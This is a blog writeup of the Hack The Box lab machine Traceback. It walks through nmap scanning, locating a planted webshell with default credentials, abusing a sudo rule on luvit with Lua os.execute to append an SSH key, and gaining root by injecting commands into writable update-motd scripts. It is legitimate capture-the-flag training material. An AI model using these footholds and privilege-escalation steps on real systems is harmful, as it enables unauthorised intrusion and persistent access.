Hackthebox Writeup - Traceback

Mon 04 May 2020

A writeup of how I approached the HTB target Traceback. Hackthebox is a fun platform that lets you work on your enumeration, pentesting and hacking skills.

Getting information

Since this is a htb challenge we know the IP of the target, and our first goal is to learn as much as possible about the target.

  • -vv: Verbosity is increased 2x to allow us to see what Nmap is doing during the scan.
  • --reason: Adds a column to our map results for why Nmap classified it that port.
  • -Pn: Tells Nmap to skip the ping test and just scan our provided target since we know it's up (10.10.10.181).
  • -A: More aggressive scan including OS detection, Version detection, traceroute, script scanning.
  • --osscan-guess: Asks NMAP to guess the OS version if no perfect match found.
  • --version-all: Tries all version probs for every port.
  • -p-: Scan ports 1 - 65535.

PS: db_nmap can take alle the normal nmap options and parameters.

msf5 > db_nmap -vv --reason -Pn -A --osscan-guess --version-all -p- 10.10.10.181
... a lot of waiting and output here ...
msf5 > services 10.10.10.181
Services
========

host          port  proto  name  state  info
----          ----  -----  ----  -----  ----
10.10.10.181  22    tcp    ssh   open   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0
10.10.10.181  80    tcp          open   Apache httpd 2.4.29 (Ubuntu)

The usual suspects, http (80) and ssh (22) is open. Next step is to see if there is any webpage present at port 80.

We found a website which seem to be hinting about some "backdoor for all the net", and inspecting the sourcecode also gives us some other clues in the comment "Some of the best web shells that you might need ;)".

I always throw dirbuster at the webserver when doing CTFs like this, but the standard dictionaries and bruteforcing did not yield any result. So far, no idea on how to get to the backdoor the webpage claims is present on the system.

OSINT

OSINT is the fine art of gathering information from open sources. In plain english: search the Internet for clues :)

Stuck with no URL to entry the target, we put the clues we already have into our favorite searchengine and see where that might lead us.

Combining the two clues will take us to the github repositories belonging to the box creator Xh4H.

I compose a list of the shell names and fed that list to dirbuster:

alfa3
alfav3.0.1
andela
bloodsecv4
by
c99ud
cmd
configkillerionkros
jspshell
mini
obfuscated-punknopass
punk-nopass
punkholic
r57
smevk
wso2.8.5

Success!

Point your browser to: http://10.10.10.181/smevk.php

Enter credentials: admin:admin

PS: Credentials are listed in the shell's sourcecode on github.

Further enumeration

Basic sudo/enumeration:

$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

Check the content of the clue that the author left us:

$ cat /home/webadmin/notes.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

The user webadmin can run the command luvit as the user sysadmin. The hint left by the author also mentioned the programming language Lua. I think we have a attackvector.

Before trying the Lua-route, I recommend reading bash_history in case someone forgot to clean it out. You will definetly do that in a real-world scenario:

$ cat /home/webadmin/bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua 
rm privesc.lua
logout

The bash_history shows us that someone else has used the same attackvector as we want to try.

Lua code / own the user sysadmin

First we want to list the content of sysadmin homefolder:

-- This is a Lua comment: Put this code in a file called code.lua
os.execute("ls -la /home/sysadmin >> /tmp/test.txt")

Upload with webshell and execute with: sudo -u sysadmin /home/sysadmin/luvit /home/webadmin/code.lua

$ cat /tmp/test.txt
total 4336
drwxr-x--- 5 sysadmin sysadmin    4096 Mar 16 03:53 .
drwxr-xr-x 4 root     root        4096 Aug 25  2019 ..
-rw------- 1 sysadmin sysadmin       1 Aug 25  2019 .bash_history
-rw-r--r-- 1 sysadmin sysadmin     220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin    3771 Apr  4  2018 .bashrc
drwx------ 2 sysadmin sysadmin    4096 Aug 25  2019 .cache
drwxrwxr-x 3 sysadmin sysadmin    4096 Aug 24  2019 .local
-rw-r--r-- 1 sysadmin sysadmin     807 Apr  4  2018 .profile
drwxr-xr-x 2 root     root        4096 Aug 25  2019 .ssh
-rwxrwxr-x 1 sysadmin sysadmin 4397566 Aug 24  2019 luvit
-rw------- 1 sysadmin sysadmin      33 May  2 00:05 user.txt

Retrieve the user flag:

-- This is a Lua comment: Put this code in a file called code2.lua
os.execute("cat /home/sysadmin/user.txt >> /tmp/flag.txt")

Upload with webshell and execute with: sudo -u sysadmin /home/sysadmin/luvit /home/webadmin/code2.lua

$ cat /tmp/rm.txt
154f374736635e806b982aed2c7d37a3

Get proper shellaccess:

-- This is a Lua comment: Put this code in a file called code3.lua
os.execute("echo 'ssh-rsa AAA...YNgQ==' >> /home/sysadmin/.ssh/authorized_keys")

Upload with webshell and execute with: sudo -u sysadmin /home/sysadmin/luvit /home/webadmin/code3.lua

traceback@kali:~/.ssh$ ssh sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat May  2 10:51:34 2020 from 10.10.14.8

sysadmin@traceback:~$ whoami
sysadmin
sysadmin@traceback:~$ ls
luvit  user.txt
sysadmin@traceback:~$ cat user.txt
154f374736635e806b982aed2c7d37a3

Clean up after yourself by empty the files that you filled with content:

-- This is a Lua comment: Put this code in a file called code4.lua
os.execute("echo "" > /tmp/test.txt")
os.execute("echo "" > /tmp/flag.txt")
os.execute("echo "" > /tmp/rm.txt")

Upload with webshell and execute with: sudo -u sysadmin /home/sysadmin/luvit /home/webadmin/code4.lua

Use the webshell GUI to remove the uploaded files: code1.lua, code2.lua, code3.lua and code4.lua.

The quest for root

sysadmin@traceback:/tmp$ ./pspy64 -i 50
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██     ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒      ██▒▒██▄█▓▒   ▐██▓░
    ▒██▒   ░▒██████▒▒▒██▒     ██▒▓░
    ▒▓▒░   ░▒ ▒▓▒  ░▒▓▒░     ██▒▒▒ 
    ░▒       ░▒   ░░▒      ▓██ ░▒░ 
    ░░             ░░         ░░  
                                    
                                ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 50ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2020/05/02 11:21:49 CMD: UID=0    PID=99     | 
2020/05/02 11:21:49 CMD: UID=0    PID=530    | /usr/sbin/apache2 -k start 
2020/05/02 11:21:49 CMD: UID=0    PID=52     | 
2020/05/02 11:21:49 CMD: UID=0    PID=51     | 
2020/05/02 11:21:49 CMD: UID=0    PID=50     | 
2020/05/02 11:21:49 CMD: UID=0    PID=495    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2020/05/02 11:21:49 CMD: UID=0    PID=49     | 
2020/05/02 11:21:49 CMD: UID=0    PID=1      | /sbin/init noprompt 
2020/05/02 11:22:01 CMD: UID=0    PID=24444  | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ 
2020/05/02 11:22:01 CMD: UID=0    PID=24443  | /usr/sbin/CRON -f 
2020/05/02 11:22:01 CMD: UID=0    PID=24442  | /usr/sbin/CRON -f 
2020/05/02 11:22:01 CMD: UID=0    PID=24447  | sleep 30 
2020/05/02 11:22:08 CMD: UID=???  PID=24450  | ???
2020/05/02 11:22:31 CMD: UID=0    PID=24451  | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/                                                                                                                                      
2020/05/02 11:23:01 CMD: UID=0    PID=24458  | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/                                                                                                                                      
2020/05/02 11:23:01 CMD: UID=0    PID=24457  | sleep 30 
2020/05/02 11:23:01 CMD: UID=0    PID=24456  | /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ 
2020/05/02 11:23:01 CMD: UID=0    PID=24455  | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ 
2020/05/02 11:23:01 CMD: UID=0    PID=24453  | /usr/sbin/CRON -f 
2020/05/02 11:23:01 CMD: UID=0    PID=24452  | /usr/sbin/CRON -f 
2020/05/02 11:23:31 CMD: UID=0    PID=24461  | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/                                                                                                                                      
2020/05/02 11:23:33 CMD: UID=1001 PID=24462  | 
2020/05/02 11:24:01 CMD: UID=0    PID=24468  | sleep 30                                                                                                                                       
e^CExiting program... (interrupt)

Hmm... why is the system do a cp from /var/backups/.update-motd.d/ to /etc/update-motd.d/*? Lets check out:

sysadmin@traceback:/$ ls -la /var/backups/.update-motd.d/
total 32
drwxr-xr-x 2 root root 4096 Mar  5 02:56 .
drwxr-xr-x 3 root root 4096 Aug 25  2019 ..
-rwxr-xr-x 1 root root  981 Aug 25  2019 00-header
-rwxr-xr-x 1 root root  982 Aug 27  2019 10-help-text
-rwxr-xr-x 1 root root 4264 Aug 25  2019 50-motd-news
-rwxr-xr-x 1 root root  604 Aug 25  2019 80-esm
-rwxr-xr-x 1 root root  299 Aug 25  2019 91-release-upgrade

sysadmin@traceback:/$ ls -la /etc/update-motd.d/
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 May  2 11:15 00-header
-rwxrwxr-x  1 root sysadmin  982 May  2 11:15 10-help-text
-rwxrwxr-x  1 root sysadmin 4264 May  2 11:15 50-motd-news
-rwxrwxr-x  1 root sysadmin  604 May  2 11:15 80-esm
-rwxrwxr-x  1 root sysadmin  299 May  2 11:15 91-release-upgrade

Aha. Target files are writable by sysadmin, which is me! Probably a configuration error since the backup are only writable by root.

Lets read up on this update-motd thing:

Hmm... So the code in the files are executed as root each time I login? Exploitable!

I choose 80-esm as my target and altered it a little bit with nano:

#
#!/bin/sh
/bin/ls ~ > /tmp/ls.txt

SERIES=$(lsb_release -cs)
DESCRIPTION=$(lsb_release -ds)

[ "$SERIES" = "precise" ] || exit 0

[ -x /usr/bin/ubuntu-advantage ] || exit 0

if ubuntu-advantage is-esm-enabled; then
    cat <<EOF
This ${DESCRIPTION} system is configured to receive extended security updates
from Canonical:
 * https://www.ubuntu.com/esm
EOF
else
    cat <<EOF
This ${DESCRIPTION} system is past its End of Life, and is no longer
receiving security updates.  To protect the integrity of this system, it’s
critical that you enable Extended Security Maintenance updates:
 * https://www.ubuntu.com/esm
EOF
fi
echo

Since this is a issue of timing I had one window where I edited the file, and at the moment I saved the file I changed to the second terminal and issued ssh login (I had to try a few times to get the timing right):

traceback@kali:~/.ssh$ ssh sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land



Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat May  2 11:31:12 2020 from 10.10.14.8

sysadmin@traceback:/tmp$ cat /tmp/ls.txt 
total 40
drwx------  5 root root 4096 Aug 25  2019 .
drwxr-xr-x 22 root root 4096 Aug 25  2019 ..
-rw-------  1 root root   67 Jan 24 05:49 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Aug 24  2019 .cache
drwxr-xr-x  3 root root 4096 Aug 24  2019 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Aug 25  2019 .selected_editor
drwxr-xr-x  2 root root 4096 Aug 24  2019 .ssh
-r--------  1 root root   33 May  2 00:05 root.txt
total 40

Ok. I can now execute code at will, as root. You can inject your own ssh-key to /root/.ssh/authorized_keys or just read of the root.txt flag.

Edit 80-esm to somehing like this:

#
#!/bin/sh
cat ~/root.txt > /tmp/rm.txt
...

Do the login/timing dance once more and you will have the rootflag inside /tmp/rm.txt

sysadmin@traceback:/etc/update-motd.d$ cat /tmp/rm.txt 
3c0d29910e0c78ff8c7bf43c6a8ca70c

And remember to cleanup after yourself:

#!/bin/sh
echo "" > /tmp/ls.txt
echo "" > /tmp/rm.txt

and do the login/timing dance a last time.

Congratulations!

You have now got both the user AND the root flag for the htb Traceback.